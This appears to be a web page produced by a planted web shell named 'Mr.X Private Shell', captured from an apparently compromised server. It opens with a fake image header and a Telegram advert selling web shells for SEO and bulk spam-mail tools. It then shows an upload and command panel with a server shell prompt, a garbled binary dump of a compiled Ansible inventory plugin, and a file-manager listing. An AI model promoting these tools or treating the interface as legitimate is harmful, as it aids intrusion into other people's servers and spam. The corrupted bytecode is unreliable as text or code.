����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)g��@s�ddlmZmZmZeZdZdZddlZddl	m
Zddlm
Z
mZddlmZddlmZmZdd	lmZdd
lmZddlmZddlmZGd
d�dee�ZdS)�)�absolute_import�division�print_functiona�
    name: constructed
    version_added: "2.4"
    short_description: Uses Jinja2 to construct vars and groups based on existing inventory.
    description:
        - Uses a YAML configuration file with a valid YAML or C(.config) extension to define var expressions and group conditionals
        - The Jinja2 conditionals that qualify a host for membership.
        - The Jinja2 expressions are calculated and assigned to the variables
        - Only variables already available from previous inventories or the fact cache can be used for templating.
        - When I(strict) is False, failed expressions will be ignored (assumes vars were missing).
    options:
        plugin:
            description: token that ensures this is a source file for the 'constructed' plugin.
            required: True
            choices: ['ansible.builtin.constructed', 'constructed']
        use_vars_plugins:
            description:
                - Normally, for performance reasons, vars plugins get executed after the inventory sources complete the base inventory,
                  this option allows for getting vars related to hosts/groups from those plugins.
                - The host_group_vars (enabled by default) 'vars plugin' is the one responsible for reading host_vars/ and group_vars/ directories.
                - This will execute all vars plugins, even those that are not supposed to execute at the 'inventory' stage.
                  See vars plugins docs for details on 'stage'.
            required: false
            default: false
            type: boolean
            version_added: '2.11'
    extends_documentation_fragment:
      - constructed
a�
    # inventory.config file in YAML format
    plugin: ansible.builtin.constructed
    strict: False
    compose:
        var_sum: var1 + var2

        # this variable will only be set if I have a persistent fact cache enabled (and have non expired facts)
        # `strict: False` will skip this instead of producing an error if it is missing facts.
        server_type: "ansible_hostname | regex_replace ('(.{6})(.{2}).*', '\\2')"
    groups:
        # simple name matching
        webservers: inventory_hostname.startswith('web')

        # using ec2 'tags' (assumes aws inventory)
        development: "'devel' in (ec2_tags|list)"

        # using other host properties populated in inventory
        private_only: not (public_dns_name is defined or ip_address is defined)

        # complex group membership
        multi_group: (group_names | intersect(['alpha', 'beta', 'omega'])) | length >= 2

    keyed_groups:
        # this creates a group per distro (distro_CentOS, distro_Debian) and assigns the hosts that have matching values to it,
        # using the default separator "_"
        - prefix: distro
          key: ansible_distribution

        # the following examples assume the first inventory is from the `aws_ec2` plugin
        # this creates a group per ec2 architecture and assign hosts to the matching ones (arch_x86_64, arch_sparc, etc)
        - prefix: arch
          key: architecture

        # this creates a group per ec2 region like "us_west_1"
        - prefix: ""
          separator: ""
          key: placement.region

        # this creates a common parent group for all ec2 availability zones
        - key: placement.availability_zone
          parent_group: all_ec2_zones
N)�	constants)�AnsibleParserError�AnsibleOptionsError)�get_group_vars)�BaseInventoryPlugin�
Constructable)�	to_native)�combine_vars)�	FactCache)�get_vars_from_inventory_sourcescsVeZdZdZdZ�fdd�Z�fdd�Zdd�Zd	d
�Zdd�Z	d�fdd�	Z
�ZS)�InventoryModulez> constructs groups and vars using Jinja2 template expressions Zconstructedcstt|���t�|_dS)N)�superr�__init__r
�_cache)�self��	__class__��I/usr/lib/python3.9/site-packages/ansible/plugins/inventory/constructed.pyrbszInventoryModule.__init__cs@d}tt|��|�r<tj�|�\}}|r8|dgtjvr<d}|S)NFz.configT)rr�verify_file�os�path�splitext�CZYAML_FILENAME_EXTENSIONS)rrZvalid�	file_name�extrrrrhszInventoryModule.verify_filecCst|�|||�|�|||��S)� requires host object )r�host_groupvars�	host_vars)r�host�loader�sourcesrrr�get_all_host_varsssz!InventoryModule.get_all_host_varscCs2t|���}|�d�r.t|t|||��d��}|S�r�use_vars_plugins�all)rZ
get_groups�
get_optionrr)rr"r#r$�gvarsrrrr ws
zInventoryModule.host_groupvarscCs,|��}|�d�r(t|t|||gd��}|Sr&)Zget_varsr)rr)rr"r#r$Zhvarsrrrr!�s
zInventoryModule.host_varsFc
sbtt|�j||||d�|�|�g}z
|j}Wn$tyT|�d�rPtd��Yn0|�d�}t�}z�|j	D]�}|�
|j	|||�}	||vr�t|	||�}	|j|�d�|	||d�|�
|j	|||�}	||j
vr�t|	|j
|�}	|j|�d�|	||dd	�|j|�d
�|	||dd	�qnWnBt�y\}
z(tdt|�t|
�f|
d��WYd
}
~
n
d
}
~
00d
S)z parses the inventory file )�cacher'z5The option use_vars_plugins requires ansible >= 2.11.�strictZcompose)r,�groupsF)r,Zfetch_hostvarsZkeyed_groupszfailed to parse %s: %s )Zorig_excN)rr�parseZ_read_config_dataZprocessed_sources�AttributeErrorr)rr
�hostsr%rZ_set_composite_varsrZ_add_host_to_composed_groupsZ_add_host_to_keyed_groups�	Exceptionrr)rZ	inventoryr#rr+r$r,Z
fact_cacher"Zhostvars�errrr.�s.





 zInventoryModule.parse)F)�__name__�
__module__�__qualname__�__doc__�NAMErrr%r r!r.�
__classcell__rrrrr]s		r)Z
__future__rrr�typeZ
__metaclass__Z
DOCUMENTATIONZEXAMPLESrZansiblerrZansible.errorsrrZansible.inventory.helpersrZansible.plugins.inventoryr	r
Zansible.module_utils._textrZansible.utils.varsrZansible.vars.fact_cacher
Zansible.vars.pluginsrrrrrr�<module>s,

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 14.97 KB 0644
__init__.cpython-39.pyc File 14.97 KB 0644
advanced_host_list.cpython-39.opt-1.pyc File 2.24 KB 0644
advanced_host_list.cpython-39.pyc File 2.24 KB 0644
auto.cpython-39.opt-1.pyc File 2.44 KB 0644
auto.cpython-39.pyc File 2.44 KB 0644
constructed.cpython-39.opt-1.pyc File 6.61 KB 0644
constructed.cpython-39.pyc File 6.61 KB 0644
generator.cpython-39.opt-1.pyc File 5.5 KB 0644
generator.cpython-39.pyc File 5.5 KB 0644
host_list.cpython-39.opt-1.pyc File 2.35 KB 0644
host_list.cpython-39.pyc File 2.35 KB 0644
ini.cpython-39.opt-1.pyc File 10.94 KB 0644
ini.cpython-39.pyc File 10.94 KB 0644
script.cpython-39.opt-1.pyc File 5.92 KB 0644
script.cpython-39.pyc File 5.92 KB 0644
toml.cpython-39.opt-1.pyc File 7.8 KB 0644
toml.cpython-39.pyc File 7.8 KB 0644
yaml.cpython-39.opt-1.pyc File 5.92 KB 0644
yaml.cpython-39.pyc File 5.92 KB 0644